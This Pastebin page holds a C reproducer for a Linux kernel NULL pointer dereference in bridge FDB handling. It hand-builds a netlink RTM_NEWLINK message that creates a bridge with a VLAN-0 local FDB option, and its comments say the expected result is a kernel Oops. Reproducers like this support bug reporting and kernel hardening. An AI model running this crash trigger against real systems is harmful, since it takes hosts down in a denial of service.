Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Reproducer for NULL pointer dereference in br_fdb_delete_locals_per_vlan_port()
- *
- * Trigger: Create a bridge with BR_BOOLOPT_FDB_LOCAL_VLAN_0 via RTM_NEWLINK
- * Requires: CONFIG_BRIDGE_VLAN_FILTERING=n, CONFIG_KASAN=y
- *
- * Compile: gcc -static -o repro_br_fdb repro_br_fdb.c
- * Run: ./repro_br_fdb
- * Expect: Kernel Oops (general protection fault in br_fdb_delete_locals_per_vlan)
- */
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <linux/netlink.h>
- #include <linux/rtnetlink.h>
- #include <linux/if_link.h>
- struct br_boolopt_multi {
- unsigned int optval;
- unsigned int optmask;
- };
- int main(void)
- {
- int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
- if (fd < 0) {
- perror("socket");
- return 1;
- }
- struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
- bind(fd, (struct sockaddr *)&sa, sizeof(sa));
- char buf[512];
- memset(buf, 0, sizeof(buf));
- struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
- nlh->nlmsg_type = RTM_NEWLINK;
- nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
- nlh->nlmsg_seq = 1;
- struct ifinfomsg *ifi = (struct ifinfomsg *)(nlh + 1);
- ifi->ifi_family = AF_UNSPEC;
- char *p = (char *)(ifi + 1);
- /* IFLA_IFNAME = "br_crash" */
- int nlen = 4 + strlen("br_crash") + 1;
- *(unsigned short *)p = nlen;
- *(unsigned short *)(p + 2) = IFLA_IFNAME;
- memcpy(p + 4, "br_crash", strlen("br_crash") + 1);
- p += (nlen + 3) & ~3;
- /* BR_BOOLOPT_FDB_LOCAL_VLAN_0 = enum 4, bit 4 = 0x10 */
- struct br_boolopt_multi bopt = { .optval = 0x10, .optmask = 0x10 };
- /* IFLA_BR_MULTI_BOOLOPT (type 46) */
- char bopt_attr[16];
- int blen = 4 + sizeof(bopt);
- *(unsigned short *)bopt_attr = blen;
- *(unsigned short *)(bopt_attr + 2) = 46;
- memcpy(bopt_attr + 4, &bopt, sizeof(bopt));
- int bpadded = (blen + 3) & ~3;
- /* IFLA_INFO_DATA (nested) */
- char data[32];
- int dlen = 4 + bpadded;
- *(unsigned short *)data = dlen;
- *(unsigned short *)(data + 2) = IFLA_INFO_DATA | NLA_F_NESTED;
- memcpy(data + 4, bopt_attr, bpadded);
- int dpadded = (dlen + 3) & ~3;
- /* IFLA_INFO_KIND = "bridge" */
- char kind[16];
- int klen = 4 + 7;
- *(unsigned short *)kind = klen;
- *(unsigned short *)(kind + 2) = IFLA_INFO_KIND;
- memcpy(kind + 4, "bridge", 7);
- int kpadded = (klen + 3) & ~3;
- /* IFLA_LINKINFO (nested) */
- int llen = 4 + kpadded + dpadded;
- *(unsigned short *)p = llen;
- *(unsigned short *)(p + 2) = IFLA_LINKINFO | NLA_F_NESTED;
- memcpy(p + 4, kind, kpadded);
- memcpy(p + 4 + kpadded, data, dpadded);
- p += (llen + 3) & ~3;
- nlh->nlmsg_len = p - buf;
- printf("Creating bridge with BR_BOOLOPT_FDB_LOCAL_VLAN_0...\n");
- struct sockaddr_nl dest = { .nl_family = AF_NETLINK };
- sendto(fd, buf, nlh->nlmsg_len, 0,
- (struct sockaddr *)&dest, sizeof(dest));
- char rbuf[4096];
- int n = recv(fd, rbuf, sizeof(rbuf), 0);
- if (n > 0) {
- int err = *(int *)(rbuf + 16);
- printf("Netlink error: %d\n", err);
- }
- close(fd);
- printf("Done (if you see this, no crash)\n");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment